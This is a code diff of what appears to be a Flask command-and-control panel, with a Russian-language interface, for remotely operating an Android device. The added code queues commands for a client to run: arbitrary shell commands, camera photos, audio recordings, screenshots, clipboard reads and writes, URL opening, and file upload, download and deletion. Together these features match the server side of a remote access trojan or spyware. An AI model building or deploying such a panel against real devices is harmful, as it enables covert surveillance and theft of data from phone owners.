561 |
+
</form>
|
562 |
+
<p id="uploadToDeviceStatus"></p>
|
563 |
</div>
|
564 |
</div>
|
|
|
565 |
|
566 |
+
<div id="shell" class="container hidden-section">
|
567 |
+
<h2>Выполнить команду на устройстве</h2>
|
568 |
+
<form onsubmit="submitShellCommand(event)">
|
569 |
+
<label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
|
570 |
+
<input type="text" id="command_str" name="command_str" required>
|
571 |
+
<button type="submit">Отправить</button>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
572 |
</form>
|
573 |
+
<div class="control-section" style="margin-top:20px;">
|
574 |
+
<h3>Вывод команды:</h3>
|
575 |
+
<pre id="outputAreaShellCopy"></pre>
|
576 |
+
</div>
|
577 |
</div>
|
|
|
578 |
|
579 |
+
<div id="media" class="container hidden-section">
|
580 |
+
<h2>Мультимедиа</h2>
|
581 |
+
<div class="control-section">
|
582 |
+
<button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
|
583 |
+
<label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
|
584 |
+
<input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
|
585 |
+
</div>
|
586 |
+
<div class="control-section">
|
587 |
+
<button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
|
588 |
+
<label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
|
589 |
+
<input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
|
590 |
+
</div>
|
591 |
+
<div class="control-section">
|
592 |
+
<button onclick="submitMediaCommand('screenshot')">Сделать скриншот</button>
|
593 |
+
</div>
|
594 |
+
<div class="control-section" style="margin-top:20px;">
|
595 |
+
<h3>Результат операции:</h3>
|
596 |
+
<pre id="outputAreaMediaCopy"></pre>
|
597 |
+
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
598 |
</div>
|
|
|
|
|
|
|
|
|
|
|
599 |
|
600 |
+
<div id="clipboard" class="container hidden-section">
|
601 |
+
<h2>Буфер обмена</h2>
|
602 |
+
<div class="control-section">
|
603 |
+
<button onclick="getClipboard()">Получить из буфера</button>
|
604 |
+
</div>
|
605 |
+
<div class="control-section">
|
606 |
+
<label for="clipboardSetText">Текст для вставки в буфер:</label>
|
607 |
+
<textarea id="clipboardSetText" rows="3"></textarea>
|
608 |
+
<button onclick="setClipboard()">Вставить в буфер</button>
|
609 |
+
</div>
|
610 |
+
<div class="control-section" style="margin-top:20px;">
|
611 |
+
<h3>Результат операции с буфером:</h3>
|
612 |
+
<pre id="outputAreaClipboardCopy"></pre>
|
613 |
+
</div>
|
614 |
</div>
|
|
|
|
|
|
|
|
|
|
|
615 |
|
616 |
+
<div id="utils" class="container hidden-section">
|
617 |
+
<h2>Утилиты</h2>
|
618 |
+
<div class="control-section">
|
619 |
+
<label for="urlToOpen">Открыть URL на устройстве:</label>
|
620 |
+
<input type="text" id="urlToOpen" placeholder="https://example.com">
|
621 |
+
<button onclick="openUrlOnDevice()">Открыть URL</button>
|
622 |
+
</div>
|
623 |
+
<div class="control-section" style="margin-top:20px;">
|
624 |
+
<h3>Результат операции:</h3>
|
625 |
+
<pre id="outputAreaUtilsCopy"></pre>
|
626 |
+
</div>
|
627 |
</div>
|
628 |
+
|
629 |
+
<div id="uploads" class="container hidden-section">
|
630 |
+
<h2>Файлы, загруженные С клиента на сервер</h2>
|
631 |
+
<div class="control-section">
|
632 |
+
<ul id="serverUploadedFiles">
|
633 |
+
<li>Нет загруженных файлов.</li>
|
634 |
+
</ul>
|
635 |
+
</div>
|
|
|
|
|
|
|
|
|
636 |
</div>
|
637 |
+
</div> <!-- .content -->
|
638 |
+
</div> <!-- .main-container -->
|
639 |
<script>
|
640 |
document.addEventListener('DOMContentLoaded', () => {
|
641 |
const outputArea = document.getElementById('outputArea');
|
|
|
663 |
|
664 |
@app.route('/send_command', methods=['POST'])
|
665 |
def handle_send_command():
|
666 |
+
global pending_command, command_output
|
667 |
|
668 |
data = request.json
|
669 |
command_output = "Ожидание выполнения..."
|
|
|
679 |
pending_command = {'type': 'upload_to_server', 'filename': filename}
|
680 |
else:
|
681 |
command_output = "Ошибка: Имя файла для скачивания не указано."
|
682 |
+
elif command_type == 'delete_file':
|
683 |
+
filename = data.get('filename')
|
684 |
+
if filename:
|
685 |
+
pending_command = {'type': 'delete_file', 'filename': filename}
|
686 |
+
else:
|
687 |
+
command_output = "Ошибка: Имя файла для удаления не указано."
|
688 |
elif command_type == 'take_photo':
|
689 |
pending_command = {'type': 'take_photo', 'camera_id': data.get('camera_id', '0')}
|
|
|
|
|
|
|
|
|
|
|
|
|
690 |
elif command_type == 'record_audio':
|
691 |
pending_command = {'type': 'record_audio', 'duration': data.get('duration', '5')}
|
692 |
elif command_type == 'screenshot':
|
|
|
709 |
'target_path': target_path_on_device,
|
710 |
'original_filename': server_filename
|
711 |
}
|
|
|
712 |
else:
|
713 |
command_output = f"Ошибка: Файл {server_filename} не найден на сервере для отправки клиенту."
|
714 |
else:
|